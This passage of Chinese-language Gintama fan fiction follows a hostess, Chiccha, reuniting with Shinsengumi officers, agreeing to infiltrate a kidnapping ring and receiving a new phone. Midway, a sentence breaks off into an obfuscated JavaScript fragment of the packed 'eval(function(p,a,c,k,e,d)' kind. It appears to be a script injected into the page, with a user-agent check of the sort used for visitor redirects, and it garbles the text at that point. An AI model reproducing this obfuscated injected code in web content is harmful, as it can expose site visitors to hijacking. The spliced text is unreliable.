「近藤先生,你真的太令我伤心了。」千茶捂着胸口,一脸受伤的表情。 土方忍不住扶额叹气。这两个小恶魔一唱一和地故意捉弄近藤,而那傢伙偏偏又特别容易上当。 「好了,不要再闹近藤局长了。」土方解围道,再次把目光放到千茶身上「你到底来这里是干什麽的?」 「局长啊?」千茶挑挑眉,无视了土方的问题,分别指了指他和总悟「然后是副局长、一番队队长…还真的出人头地了啊。」 她的目光在三人身上扫过,眼神一瞬跟变得鋭利。 感觉现在才知道这个情报简直是亏大了。 「你这表情明显是在后悔没有早点攀上我们啊。」冲田慢悠悠地说道。 「确实」千茶也不掩饰「不过现在也不算晚,对吧?」 土方对她这种厚颜无耻的态度感到无奈,旁边的近藤仍然一脸茫然,似乎还没从刚才的混乱中缓过来。 「非常抱歉茶茶小姐,我实在想不起你说的那些往事…」 「明明以前你还总喜欢让我和你一起去洗澡的说…」 「不、不可能!我怎麽可能会做这种事!」 「我可以做证,真有其事哦,近藤先生。」冲田总悟和应着,看来他也觉得这样很好玩。 土方叹了口气,揉了揉太阳穴。他要是现在插嘴,糟糕的人恐怕就会变成他了,所以他觉得暂时闭上嘴。 不知过了多久,千茶终于腻了,这才放过近藤,转而看向冲田「对了,刚才的事要和他们説吗?」 「不用説了,我们刚才在外面都听见了。」土方皱着眉「太危险了,这种事不能让你去做。」 把无辜市民牵进案件,要是真发生了什麽,先不説传媒一定不会放过他们,他也不知道怎向她的家人交代。 「比起万事屋那个缺根筋的未成年猩猩女,这个刚被诱拐过的陪酒女的不是更合他们的口味吗?」冲田反驳道。 「你刚才被诱拐了?」 千茶先是点点头,但想了一下又马上摇头。 「是意图诱拐,外加人身伤害和财物损毁。那个大婶一点都不懂得怜香惜玉。」她説着,向他们露出了手腕上的血痕,她的皮肤很白,红色的痕迹看着特别严重。 除了丢失记忆的近藤,另外两人都只是淡淡瞥了一眼,也没说什麽。 「真是可恶!竟然对一个柔弱的女孩子那麽粗鲁!」 柔弱? 这个词语跟眼前的女孩子压根儿沾不上边。她可是在十多岁时就敢单挑一群成年混混,而且还真把他们全都打趴下的狠角色。 但以现在的情况看来,她好像很享受那种大家把她当弱女子呵护的感觉。 「土方先生刚才说你们一直在外面偷听我们说话,那你是从哪里开始听的?」千茶问道。 「才不是偷听!这里是审问室,我们以为你是被带回来的疑犯,所以特意来看看情况,谁知道你和这傢伙在密谋什麽坏主意。」 冲田和千茶快速交换了一个眼神,看来他没听见前面他们説的交易。 「我只是在邀请受害人小姐假装受害,然后替我们潜入内部而已。」 「就说太危险了,不可能让外行的来!」土方瞪着一直不听他说话的冲田。 虽然不愿承认,但这小子说得确实在理。他们的确需要一个能潜入内部的人,而他们相识多年,对她的实力也有点把握。 但把无辜市民拖进案子,就是执法者的失职。 但这样想的,大概只有他一个。 「要是茶茶小姐愿意帮忙的话,我认为这是个好主意。」近藤沉思片刻后开口「但我们必须确保茶茶小姐的安全。」 土方仍然一脸不贊同,但他也知道,这或许是最好的方法。 「别这麽紧张嘛,十四。」千茶说着,拉了拉他的衣袖「就算我真出了什麽事,你们只要替我照顾好两个妹妹就行了。」 「我们几个大男人怎可能照顾得了两个小女孩,别打算甩手给我们。」 她若无其事地绕回桌子的另一端坐下来,从新拿起茶杯。 「放心,这种程度的杂鱼就算再多我也能对付。再说了,好不容易抱上你们这条粗腿,我怎麽可能轻易放手呢,对吧,近藤局长?」话毕,她还不忘朝近藤眨眨眼睛。 他尴尬地咳嗽了一声,连忙避开她的视线,顺带着转移话题「那麽,我们就这麽说定了。总悟,你负责制定具体计划,十四你来安排人手。」 「好的。」冲田应道,然后藴酿了一下情绪,握起千茶的手,眼神深邃地和她对视。 「放心吧,茶茶。要是你真有个三长两短,我一定让土方先生下去给你陪葬,绝对不让你孤单一人。」 「蛤?」土方听不明所以地看向二人。 千茶似乎对这种恶劣的玩笑话很受用,甚至还很配合地露出一副感动的表情「总悟还真是个体贴的人呢。请不要忘记我最喜欢的星O克,我要香草口味的星O乐。」 他点点头,然后给了土方一个眼神「听到了吗土方先生,你下去的时候要记得给她带。」 「你们两个都给我适可而止。」土方不耐烦地呼喝道,但这话对他们来説显然没有任何威慑力,因为千茶和冲田还是继续一人一句地闹着。 这种气氛让近藤突然有种似曾相识的感觉,彷彿很久以前也遇过一个跟总悟很谈得来的孩子,那个人应该是… 近藤努力地回想着,眼前渐渐浮现出一个模糊的身影。那个孩子和面前的女生一样都是金发,有着一双灵动的大眼睛。他记得那孩子总和总悟一起惹事,也不知道是谁先带坏谁,但他每次都会提前为自己准备好脱身的方法。 「你是千!」 「您终于想起来了呢,近藤先生。」她装模作样地拍拍手,语气裏带着一丝调侃,但更多的是一种久别重逢的喜悦。 「你变得太多了,我一时间认不出来…」近藤说,这才细看面前的少女「你现在完全就像一个女孩子一样。」 这句话让千茶有种不太好的预感,不意外地,近藤的下一句便是「你难道已经切了吗?」 千茶眉角跳了跳,随即瞪向土方,脸上的笑意却丝毫不减「为什麽你们总喜欢问这个问题呢。」 「这不是很正常的疑问吗?毕竟你以前可是...」近藤话还没说完,就被千茶抬手打断。 「我是不是切过,不如让你们亲自来确认一下吧。」她站了起来,作势要去拉自己的腰带。 「喂喂,不要在这里做这种事!」土方连忙抓住她的手腕,阻止她的举动。他脸上写满惊慌,深怕她真的会做出什麽出格的事。 冲田在一旁袖手旁观地看戏,而近藤则尴尬地摸着后脑勺,小声向她道歉。 她似乎对土方的反应很满意,放开衣襟上的手,重新落座于椅子上,自顾自地整理起来。 「对了,还有一件事。」 过了一阵,她忽然开口,土方马上警惕地看着她。 「我的手机刚才被诱拐犯摔坏了,可以当作这次行动损毁的市民财物,给我报销吗?」她説着,从袖裏拿出屏幕裂开的手机。 土方只是瞥了一眼,便狠狠拒绝「当然不行,这些事去找你的保险经纪说去。」 「小气鬼」她接着转向近藤「好嘛~局长~」 「可是…」近藤是没所谓,但土方已经开口拒绝了。 「那算了,我也不想让你为难。」千茶失落地垂下脑袋「我还是休假的时候找小妙一起去买个新的吧…对了,近藤先生喜欢小妙对吧,要我找机会和她説更多关于你的事吗?」 近藤的眼睛瞬间亮了起来,但土方立刻打断了这场对话「喂!不准利用近藤先生的弱点!」 「啊啦,人家这不是想帮他们增加彼此的认识嘛。」千茶无辜地眨眨眼睛,但嘴角的笑意出卖了她的真实意图。 「像是近藤先生曾经让我帮他去厨房拿割了一刀的魔芋,还有问我借了OO的第三集却一直没还回来,还有…对了,那时候喜欢的女孩子叫什麽来着?好像是…」 「我给你买!我给你买还不行吗!」近藤赶紧挥手打断她的话,生怕她继续说下去。 「近藤先生,这…」土方还想阻止,但对方却坚决地摇头。 「我会自己掏钱的,十四你千万不要阻止我!我一定会给她买的!」 「啊,谢谢近藤先生!」千茶露出灿烂的笑容,然后转头看向土方「看吧,土方先生,这才是一个好警察该有的态度呢。」 就在那一刻,土方十四郎在心里下了决定:绝对不能让这个女人有机会接触传媒。 11. 贪新忘旧是人之常情(上) 昔日旧友的感动重逢,随着千茶一句「我也是时候去寺子屋接妹妹们下课了」而划上句点。 随着局长一声令下,真选组上下立刻着手规划接下来行动。 经过一个下午的反复盘问,冲田总悟带回来的嫌疑犯终于透露了一些情报。 他们曾经也是一对平凡的夫妇,在十多年前相亲结婚,还有个正值叛逆期的独生子。 半年前,他们的儿子患上急病,夫妇二人本就没什麽积蓄,儿子的高额医药费更让他们发愁。正当他们在医院因为钱而争吵时,突然有个男人走了过来劝架。 那人説,他能解决他们眼前的烦恼。 组织里的人,大多都是被那个人以类似手法招募的,他瞄准了那些经济困难的家庭,利用他们的弱点迫使他们成为共犯。最初,他们还会因为那些不道德的行为而感到良心不安,但随着时间推移,以及沉重的经济压力,渐渐对受害者的求饶也变得麻木。 浅井千茶的提议是藉这个机会,彻底瓦解这个组织,避免悲剧持续上演。 说得倒是简单,受苦的却是制定计划的人。 夜幕下的歌舞伎町依旧热闹,五光十色的霓虹灯招牌映照着涌动的人潮,互相依偎的痴男怨女处处可见。 真选组的三位干部换下制服,穿过人群,来到smile的门口。 深秋的夜晚带着丝丝凉意,推门的瞬间,店裏的香薰混杂暖气扑面而来。店内座无虚席,男男女女的谈笑声与背景音乐交织。 这就是江户的不夜城。 近藤勋喜欢志村妙,早已是店里众所周知的事实。因此,在众人眼中,他的来意显而易见。 店长也不例外,远远看见近藤的到来,便立刻迎上前招待。 「近藤先生,欢迎光临。非常抱歉,阿妙小姐今天休假。」 由于他每次都只会指名阿妙,店长下意识以为他今天也是来见她的。 听见店长提起阿妙的名字,近藤莫名感到心虚,双手也不知该往哪摆,最后搔了搔头。 要不是早就认识他,还真以为他是第一次来酒吧的毛头小子。 他谨慎地四处张望,确认无人在听后,便凑到店长耳边低声说「其实我今天是来找茶茶的。」 「这样啊……」店长的表情带着一丝八卦意味。印象中,眼前这位警察局长一直都是阿妙的忠实追求者,没想到居然会在她不在的时候移情别恋。 店长忍不住打量着跟在近藤身后的土方和冲田。虽然他们没穿真选组的制服,但一个板着脸抽烟,另一个饶有兴致地研究着店内的异国摆设。即使旁边的女孩子朝他们抛媚眼,他们也毫无反应,怎麽看都不像是来寻欢作乐的客人。 似是察觉了他的视线,土方看了过来「怎麽了?」 店长被土方锐利的眼神吓了一跳,连忙摆手解释「没什麽,不过茶茶现在应该在接待客人,我看一下…」 他环顾场内一圈,目光最后停在远处的一个卡座上,确认坐位后,低头看扫一眼手上的入座记录。 「那位客人的指名时间还有二十分钟。要不要为几位先安排其他女孩子?」 顺着店长的目光望去,千茶正在卡座上接待一位体型丰腴的男人。就算他们对名牌不太熟悉,单看那人西装上醒目的品牌标誌,也不难看出他有点财力。 「不用了,先给我们开瓶酒,我们坐着等她就行了。」土方说道。 他本来就不喜欢这种场合,要不先看在她份上,也不会来这一趟。 店长识趣地不再多作推荐,领着他们去了一个较为僻静的卡座。然而,店内其他公关小姐一眼就认出了他们,纷纷争相上前自荐作陪。虽然她们对近藤兴趣缺缺,但另外两位可是难得的香饽饽,尤其是外表与职位都无可挑剔的土方,更成为了她们的焦点。 那些热情的邀约最终都被两人冷淡地一一回绝。 这更加印证了店长的猜测——冲田和土方大概只是被近藤找来当烟幕,为的是掩饰他背叛对阿妙的感情、转而追求茶茶的事实。 在茶茶到Smile以前,店裏因着两位红牌而分成了明显的派系。儘管如此,在不比拼业绩的前提下,她们的关係也算和睦,只是偶尔在招待客人的方式上有些分歧,下班后还是会相约去吃宵夜。 刚开始,店长也以为茶茶的加入会打破这一直以来的平衡,毕竟她在长相和业务能力上都无可挑剔,要追上阿音和阿妙只是时间的问题。 然而她至今仍未展现出半点争胜的意图,甚至有意地把自己的营业额压在两人之下。 但如今,阿妙的一位大客户被她给挖走了,恐怕店裏的天秤也是时候该倾斜了。 真选组坐的座位与千茶的卡座相距不远,虽然听不清他们的每句对话,但仍能隐约听见那边传来的谈笑声。 男人滔滔不绝地谈论着投资,话裏穿插大量专业术语,让外行人听得一头雾水,明显是在她面前刻意卖弄。 千茶不时而以感兴趣的口吻回应两句;遇到对方想炫耀的部分,便示弱请教。 她就像朵漂亮温柔的解语花,一举一动都拿捏得恰到好处。 男人总是特别吃这一套,尤其是那些自视甚高的。 她面前的这个人大概也是被她这一点收服,成为了她的熟客。在气氛正好时,他从西装内袋取出一个印有奢侈品牌商标的饰品盒,递到她面前。 她惊喜地接过饰品盒,轻轻掀开盒盖瞄了一眼里面的东西,是条银色带着夸张商标的手鍊。她抬头望向客人,脸上挂着略带羞涩的甜美笑容,轻声推辞了两句,在男人的再三坚持下还是收了下来。 虽然早就从志村妙那里听说过这位「茶茶」小姐的本事,但亲眼目睹又是另一回事。 无论是表情管理、谈吐方式,还是丰富的知识储备,都让人挑不出毛病。仔细想来,这也是理所当然的,即使现在看起来有些落魄,她骨子里终究是个名门出身的大小姐。 当初认识她时,她每天的课程表都排得满满的,但她仍然坚持抽出时间到道场挥刀。冲田的对战邀请,她更是一次都不曾落下。只是每次结束后,她都会因力竭而睡着,最后被他抬回房间。 『你这样不累吗?』总有人会这样问她。 「累死了。不过,能抱怨就证明我还有馀裕吧?我无法放弃我的立场,所以必须要有担得起这份责任的实力。」她当时是这样回答的。 记忆中的身影与远处的人重叠,昔日那个意气风发的少女,如今却收敛锋芒,在灯红酒绿的街道与虚情假意的男人周旋。 身为武士,他们比任何人都更能体会有志难伸的鬱闷,越是看着那张脸,越觉得那个笑容刺眼。 指名时段来到尾声,黑服前来提醒时间,男人似乎想延长时段,却被她以后续还有别的预约为由婉拒了,这才意犹未尽地离开。千茶从座位起身,送别男人。待他的身影消失在视线中,她才转身走向真选组的卡座。 「谢谢你们特意来指名我呢~」千茶脸上依旧挂着方才那抹笑容,坐到近藤和冲田之间「抱歉,让你们久等了。」 「没关係。」近藤有些侷促地朝她点头,似乎还不太习惯和她这样说话。 相较于近藤和土方,冲田总悟显得从容自在,他慵懒地靠在沙发上,目光扫向她手中的饰品盒,朝她轻抬下巴。 「收穫挺丰富嘛。」他调侃道。 「嘛,月初本来就是他们来给我上贡的日子呢。」千茶说着,打开盒子拿出那条带着商标、略显土气的鍊子,漫不经心地把玩起来「不过这个系列的二手价实在不高,顶多只能卖到二十万日圆。下次还是该让他买别的好了。」 她的坦率令人咋舌。儘管他们是好友,此刻也是她的客人,她却毫不避讳地谈论着要把客人的礼物拿去变卖。 「你这种説话方式倒是一点也没变。」土方叹了口气,语气中带着些许无奈。 「要是你比较喜欢我用营业时的态度和你相处,我也没关係哦。」千茶说,然后扶着椅背站起来,挤进他和近藤之间的空位。 「土方先生~」她甜甜地朝他一笑,身子微倾,稍微拉近了两人的距离「今天来喝酒是因为想人家了吗?」 他别过脸,下意识地往旁边挪开「别凑过来。」 「土方先生真是无情呢。」她装作失落的样子,声音还带着几分委屈「明明以前我们…」 土方立刻伸手捂住她的嘴,制止她继续往下说。 冲田饶有兴味地看着这一幕,嘴角勾起一抹玩味的笑容。 「什麽什麽?土方先生难道以前对你做过什麽失礼的事吗?」 「别听她胡说。」 千茶这个时候已经将他的手给挣开了,捉着他的前臂,人畜无害地眨着眼睛「我还没说什麽呢。」 土方挥开她的手,一脸嫌弃地往旁边挪了挪,却不忘警告地瞪了冲田一眼。 这两个小恶魔从以前就难缠得很,如今长大了更是令人难以招架。 从刚才开始就一直没説话的近藤向他投以爱莫能做的眼神,和上次的土方一样,为了自保选择了袖手旁观。 看着逐渐恼羞成怒的土方,千茶心满意足地决定在这裏停手。 「好啦好啦,不闹你了。」她説着,起来重新坐回刚才的位置,把刚才随手扔到一边的手链收回盒子裏。 冲田注意到,当她打开手袋时,里面除了刚才收到的礼物外,还有另一个一模一样的盒子。 「这个人也是一样的品味呢。」她笑着说「不过他脑子更好使一点,知道挑个卖得贵的颜色。」 她拿出另一个首饰盒,打开是条与刚才那款款式相近的手鍊。 按她刚才所说,一条手鍊能卖二十万日圆,这样算来她今天至少能赚到三、四十万日圆。再加上店里的工资和佣金抽成,她一个月的收入恐怕远超过真选组的固定薪水。 想来真是讽刺,他们还担心她一个人养家辛苦,特意来捧她的场。 想到这一点,冲田意有所指地瞥向近藤,扬起的嘴角带着一抹嘲讽。 「真是可怜呢,花大钱买礼物来讨陪酒女欢心,结果人家转眼就把礼物拿去变卖。没想到现实中居然真有这种傻瓜存在啊。」 这句话如同一把利刃,正中近藤的痛处。他低头看着袖中那部特意为千茶准备的新手机,此刻只觉无比烫手。 千茶没有留意到他们的小动作,随手将饰品盒丢进手袋。她从小就见惯了金银珠宝,这些只讲求品牌价值的首饰自然入不了她的眼。 「嘛,总悟还是小孩子大概不懂吧?在这种地方,礼物可能会拿来变现,这可是大人们心照不宣的事呢。」 她的话并未刺激到冲田,反而误伤了旁边的另一位。 「真可惜呢,近藤先生。」冲田以遗憾的语气说道。 近藤的眼神暗淡下来,看来她之前只是在跟他们开玩笑,而他却是唯一一个当真的人。 「喂,总悟。」土方见状瞪了冲田一眼,语气带着警告「别太过分了。」 千茶知道近藤勋喜欢阿妙,下意识地以为他是为了阿妙的事情而沮丧。 或许他曾经送过什麽贵重的礼物给阿妙也説不定。 「别那麽沮丧嘛,小妙和我不一样,她很重视别人的心意。无论收到什麽礼物,她都会好好珍惜的。不过呢,她也不是谁送的礼物都会收下来。她不喜欢把别人当ATM,这一点我们真的很不像呢。」 自相遇以来,她从不同人口中打听过真选组的消息,自然也听说了近藤那些过激的跟踪行为。她虽然欣赏他敢于表露心意的勇气,但那些偏执的行为还是让人感到不适。 她思考着该如何委婉地劝他改变这种令人困扰的追求方式,完全没察觉近藤为她准备的礼物。 土方和冲田交换了一个眼神,最后将视线落在千茶身上。难道説这个人一旦脱离营业模式,察言观色的能力就变得出奇迟钝。 看着更加沉默的近藤,千茶顿时懊恼起来。她抬头想向同行的两人求助,这才注意到他们意味深长的视线。她抿了抿嘴唇,就算再迟钝,这会儿也察觉到自己似乎说错了什麽。 这阵尴尬的气氛持续了接近半分钟,她在脑中反复咀嚼着刚才的话,却想不出哪里有问题,最后还是决定直接打破沉默。 「我是不是说错什麽了?」 近藤勋欲言又止地凝视着她许久,最后从袖中缓缓取出特地为她挑选的新手机,避着她的眼神递了出去。 「要是妳打算把它卖出去的话????」 「这是给我买的吗?」她没让他把话说完便抢着打断。 近藤轻轻点头,她眼里闪烁的期待让他的不安渐渐消散。她双手接过手机,眼睛亮得像个得到糖果的小孩。 「这可是最新型号呢…而且还是我喜欢的白色,近藤先生真的很会挑礼物呢。」 「啊…你喜欢就好。」 「我绝对会好好珍惜的!谢谢你!」她説得诚恳,与方才在客人面前那副世故的模样判若两人。 其实她当时向近藤討要手机只是开玩笑而已,毕竟让多年未见的老朋友给自己买东西,還是挺厚臉皮的。她明天休假,已经约好了万事屋的人带她去找熟人修手机,想著要是修不好再自己买个新的就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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话毕,她低头摆弄起新手机,眼角馀光瞥见土方听到「追踪器」三字时,表情出现一瞬的短暂停顿。她装作没注意到,继续设定手机。 「再说,送首饰不就像在宣示主权吗?我可不是那种给块肉就乖乖戴上项圈的狗。」 土方悄悄瞥向冲田,只见后者神色自若地用叉子刺起一块西瓜送进口中,看不出半点心虚。 是的。 近藤勋在不知情的情况下,给千茶送了一部安装了追踪器的手机,而提出这个主意的人,正正就是那个吃着水果盘的人。 说是担心千茶在上次大街事件后被那群人盯上,怕她会再惹上麻烦,才特意让人安装追踪器的。 当然,这只是他向土方解释的说词。实际上,从他们上次的談话,他的直觉告诉他,千茶正在策划什麽危险的事情。 她喜欢独自涉险,他也不打算阻止。每个人都有些旁人难以理解、自己却无法妥协的事。以她的个性,嘴上虽说要抱他们大腿,但真要是发生什麽事,肯定会把他们剔乾淨。 他作为朋友,至少想成为她的后盾。 「又不是要你像个变态一样,每五分钟就查看她的位置,只是为了在她遇到危险时能找到她的位置而已。」 「你什麽时候变得那麽热心了?」 「一直以来,我唯一想参加的丧礼就只有土方先生的而已。」 土方沉默了许久,最后也同意了这个提议。 浅井千茶并不是个乐于向人求助的人,她只会一直忍耐,直到自己到达极限为止。 她对他们来说,不仅是识于微时的朋友,更有着知遇之恩。 在茫茫人海中能够重逢,或许冥冥中自有安排吧。 就像冲田説的,只在紧急的时候才啓动就好了。 儘管这样做有违武士的道义,但为了保护她的安全,暂时也只能将光明磊落搁置一旁。 基础设定输入完毕后,千茶掏出了一部完好的手机,对照着输入一些常用电话。土方注意到她现在手上拿的的并非当初声称坏掉的那部手机。 「喂,你不是已经有一部可以用的手机吗?」 她挥了挥手上那部手机「这是工作用的,坏掉的是私人用的。工作和私事得分开嘛,我也不想在休息时间被客人打扰。」 她说着,像是想起了什麽,抬头看向土方和近藤「对了,你们都有手机吧?虽然上次已經和总悟交换了联络方式,但还没有你们的呢。」 「来吧,我们也来交换电话号码吧~」 近藤勋和千茶交换着手机输入,土方则是在她取回手机后,唸出一串数字,让她先直接给自己打电话留记录 冲田饶有兴致地看着她在近藤的名字栏位打上「好人」,还加了个滑稽的猩猩颜文字,而土方的暱称则写成了「蛋油混合物与尼古丁」。 「我在你手机里的联络人名字是什麽?」 千茶在电话簿中翻了一下,然后点开冲田那页,给他递了过去。 「你果然是我最好的朋友。」他感叹地说道,搭着她的肩膀「很快,后面那两个字就会去掉了。」 土方和近藤好奇地把脑袋凑过去看了一眼。 :真选组副长(预定) 还是那麽坏心眼。 近藤看着要抓狂的土方,説不出一句劝説的话。 被疑似诅咒的土方瞪着二人,嘴角微微抽搐,却只能在心中暗骂。 这两个傢伙到底什麽时候才能消停。 土方看着自己手机上那个尚未存入的号码,犹豫片刻,在联络人名称栏里打上了「麻烦的女人」。但下一秒,他就嫌弃起自己的孩子气,把刚才输入的字删掉,只重新输入了一个字:千。 「茶茶小姐,我想吃苹果。」 土方抬起头,只见千茶已把手机收起,正捧着水果盘用叉子餵冲田吃水果,他看上去跟其他来寻欢作乐的客人并无任何分别。 「好吃吗?」千茶笑着问道,显然是启动了营业模式。 冲田点点头,张开嘴等待下一口「再来一块。」 一阵无力感顿时涌上心头,土方转头看向近藤,后者什麽也没說,只是轻拍他的背以示安慰。 「对了,你们这次来不只是为了送手机吧?」千茶将果盘放回桌上,拿起酒杯啜了一口酒。 「啊,对!」近藤这才想起正事,赶紧点头,谨慎地环顾四周确认无可疑的人。 「上次说的那件事,我们已经有了计划,想和你商量一下。」 「这样啊…那麽要换一个私隐性高一点的地方再聊吗?」 12. 贪新忘旧是人之常情(下) 谁都没想到,千茶说的私隐性高的地方,就是她的家。 电梯里,三人默默地站在她身后,注视着楼层啲数字上升。他们的朋友几乎都在真选组,自然也没什么被邀请回家作客的经验。当然,这个前提是没把那个跟踪狂的日常骚扰算在内。 电梯在二十层停下,千茶领着他们走到走廊尽头的一户。 「那个…这种时间来打扰,是不是不太方便…」近藤有些犹豫地说道。 千茶瞥了他一眼,这种体贴完全不像是跟踪狂会有的想法。 「没关係,这个时间孩子们都睡了,我们说话的声音别太大就好。」她说着,一边轻轻转动着钥匙。 月光透过窗户洒落地面,厨房的灯还亮着,想必是妹妹们为她留的。她脱掉鞋子,转头去摸灯制,却看见上面贴着一张便利贴。她撕了下来,然后亮起客厅的小灯,招呼她的客人走进客厅。 在他们四处打量之际,千茶低头读起便利贴上歪歪斜斜的蜡笔字「冰箱里有关东煮」。 她在晚饭时只是随口提了句想吃关东煮,没想到他们竟然特意为她准备了。 「你们先坐一下吧,我去泡茶。」 由于时间已经不早,加上家裏有两个熟睡的孩子,真选组的三位即使对四周有些好奇,也没四处走动,只是安静地坐在茶几前张望。 室内的装潢和家居採用简约风格,却意外地充满生活气息。茶几上摆着几件未完成的摺纸手工,玩具箱旁散落着一些小孩子的玩具,牆上还挂着一张线条歪歪扭扭的蜡笔画。 近藤身体往后挪了一点,后腰却被硬物硌到,伸手便摸到一件玩具。他站起来,正准备把它放回玩具箱时,手指不小心压到按钮,玩具顿时奏起音乐,在寂静的深夜格外响亮。 千茶听见外面的声响,从厨房探出头来,竖起食指抵在唇前做了个「嘘」的手势。近藤慌忙关掉玩具,一脸歉意地将它放回玩具箱。 现在的小孩玩具还真是先进。 片刻后,千茶端着茶从厨房走出来,简单收拾了一下茶几上的杂物,给他们各倒了杯茶,还顺便在土方面前放了个菸灰缸。 「啊…不用麻烦了。」土方摇摇头,下意识地瞥了眼旁边的玩具箱。 大人吸二手菸就算了,让小孩子吸到三手菸可不太好。 「你能忍得了吗?」千茶质疑地盯着他。 「蛤?我可是一个有自制力的成年人,你别小看我。」 「嘛…以我的经验,菸民都是骗子。」 冲田认同地点点头「你说得对,土方先生确实是一个人面兽心、毫无自制力的混蛋。」 「喂喂喂,她刚才没这样说吧?真是的…」土方朝他翻了个白眼,下意识地在口袋摸出烟盒。 三人沉默地看着他的一连串动作,在他准备把香菸塞进嘴里前,冲田叫停了他。 「是吗,那你现在手上拿着什么呢?土方先生。」 被点名的土方动作一顿,低头看着指间的香烟,尴尬地将它放回烟盒,然后轻声咳嗽了一下,试图转移话题。 「啊…突然觉得肚子有点饿,要不然我去便利店买点…」 「啊啦,土方先生还真厉害呢,你怎知道我妹妹给我准备了关东煮当宵夜。」千茶打断了他的话,目光毫不遮掩地落在他放着香菸的口袋「不过要是土方先生没有自控能力,想要补充一下尼古丁的话,我也可以装作有东西要买,让你用帮我跑腿做藉口,到外面『呼吸』一下。」 谁会在给人下台阶的时候,把当中的细节完整说出来啊?! 土方在心裏吐槽着,嘴角不自觉地抽搐了一下。 「真是个体贴的主人家呢,土方先生,还不快向人家道谢?」 听见冲田插嘴凑热闹,他的脸色变得更加难看了,但碍于现在已经是夜深,这裏又是民宅,他不得不忍下想要发作的冲动。 「厨房在加热关东煮,我现在去换件衣服,马上就回来。」她向他们解释道,拿起菸灰缸站了起来。 才刚往走廊的方向走了两步,她又回过头。 「土方先生要是真要去便利店的话,顺便帮我买盒香草雪糕吧,我要980圆那个牌子的,去跑腿总不能空手来回吧,多可怜。」说完还不忘用怜悯的目光瞥了他一眼。 「总有一天我要宰了你们这两个混蛋。」土方低声咕哝着,想起刚才那两人的一唱一和就一阵火大。 经过上次的教训,近藤学会了这世上有些架是劝不得的,小的们喜欢斗嘴就让他们说去吧,否则下一个遭殃的就会是自己。 千茶的脚步声消失在走廊末端,土方望着牆上的时钟指针缓缓转动,最后还是认命地站了起来。 他本来也没特别想吸菸的,但被他们刺激了一下,倒是真的勾起了他的烟瘾。 「十四,你要去那裏?」 「去买香草雪糕。」 事实证明,女孩子说的「换件衣服就来」根本就不可信。等到土方带着香草雪糕回来,千茶仍还在房间。 再见便是十五分钟之后的事。她换上一套男式浴衣,马尾已经拆散,头发松松地扎在脑后。从她脖子侧边微湿的发丝来看,她应该还洗了个澡。 把客人晾着确实不太好,但回家没有先洗澡的话,她总觉得浑身都不自在,尤其是在那种菸酒瀰漫的夜总会里待了一整晚。 再说,那个嘴硬的尼古丁奴隶大概也需要点时间喘喘气。 她能把菸灰缸拿出来给他,其实也不怎么在意什么二手菸、三手菸的问题,毕竟二次元的世界也不存在肺癌和咽喉癌。 母亲在世时,便是个烟斗不离手的人,而千茶自己也曾吸过一段时间卷烟。 说实话,她一点都不喜欢菸草的味道,但尼古丁和酒精的确能暂时舒缓伤后的痛楚。 烟、酒、赌博、打架。 这都是一个臭老头教她的。 现在回想起来,那个肺都黑透的臭老头没教她半点好东西,还非要她喊他师傅。 一把年纪却总是没个正经样,老爱坑她这个「徒弟」。 唯一有点师傅样的,是她每次上擂台,他都会在场下寸步不移地看着她,结束后便会扶着她回家,给她盛一碗咸得要命的关东煮;要是她受了伤,他便会冒着被骂的风险,半夜去找邻居的屠宰场老闆娘替她上药;又怕她小女孩爱美,身上留疤不高兴,花重金让人去买吉原同款的秘製伤药来给她涂。 甚至在最后,无论是他的毕生所学,还是这些年攒下的积蓄,他都全部传给了她。 那个人烟瘾极重,进棺材时,衣服上仍染着菸草的气味。他抽的菸,恰好就是土方买的那个牌子。 所以这也不能怪她每次隷到机会就去捉弄他,谁叫他让她想起那个讨厌的老头。 她经过客厅时瞥见茶几上空空的便利店胶袋,没说什么,只是默默走进厨房查看关东煮。她夹起一块萝蔔,咬了一口。 是小孩子喜欢的甜口。 过了一阵,千茶端着几碗关东煮、一瓶清酒和酒杯回到茶几前。 「十四买的雪糕,我们替你放进冰箱了。」近藤告诉她。 「麻烦你了,谢谢。」 「你该说谢谢的应该是我吧,是我去给你买…」土方正吐槽到一半,视线扫过她手上的酒瓶,不禁皱起眉来「都说要谈正经事了,你怎么还在喝酒?」 她在店里的时候已喝了不少,洋酒和日本酒混着喝,后劲可厉害了。 千茶没有理会他的制止,径自给自己倒了一杯酒「就这么一点不会有问题的,别小看陪酒女的酒量。」 「你要是聊到一半醉倒的话,我就宰了你。」 千茶没有回话,只是紧盯着他的眼睛,挑衅地一口喝乾了杯中的酒。 「说吧,现在有什么打算?」 真选组的计划是利用那对被捕夫妇,让他们假装把千茶带回组织,然后她便可以潜入并详细观察内部状况,包括人质的确切位置、守卫人数和可能的逃生路线。 接着,她再将这些关键情报传回真选组,以便他们制定更完善的营救计划。 说白了就和平日山崎的工作一样。 「有初步的资料可以先让我看一下吗?」 土方不知道从那裏掏出一份文件,给她递过去「这是我们目前掌握的情报。」 千茶接过资料,仔细翻阅着,目光停留在列有已知成员资料的其中一页。 「我认识这个叫做山本的人。」千茶指着那张大头照,照片下面写着一行字:山本护。 回忆起这个人时,她不禁皱起眉头。 「应该说我认识他父亲吧。山本大叔以前是在京都开儿童成衣店的,我从那时候就一直在光顾。前阵子,我去店裏给小菊买衣服的时候和他聊过几句,他还很高兴地告诉我,儿子最近找到一份薪水不错的兼职…没想到居然是这么回事。」 她说的都是真话,只不过并非是完整的真话。 山本是其中一个被她在擂台上救下的对手,后来也是因为跟随她才来了江户,不过这些内情,条子们并不需要知道。 若被他们发现她以前靠黑市擂台维生,甚至当过一阵子台柱,那么以后裏世界发生任何事,她岂不就会自动成为首要嫌疑人了吗? 在京都生活的时候,她已经为这事和见迴组周旋了许久。平日工作已经够累了,下班后她根本不想再和条子玩这种比拼智力的游戏。 那种黑历史就让它永远埋葬吧。 「要是从他这裏入手的话,你能确定他会上钩吗?」土方问。 既然是认识的人,或许从山本这里入手会比那对夫妇更容易。 大街那天闹出那么大的动静,消息必定已传到组织那边,若那对夫妇此时有任何举动,必定会引起对方的怀疑。相比之下,山本护这条线索显然更有价值。 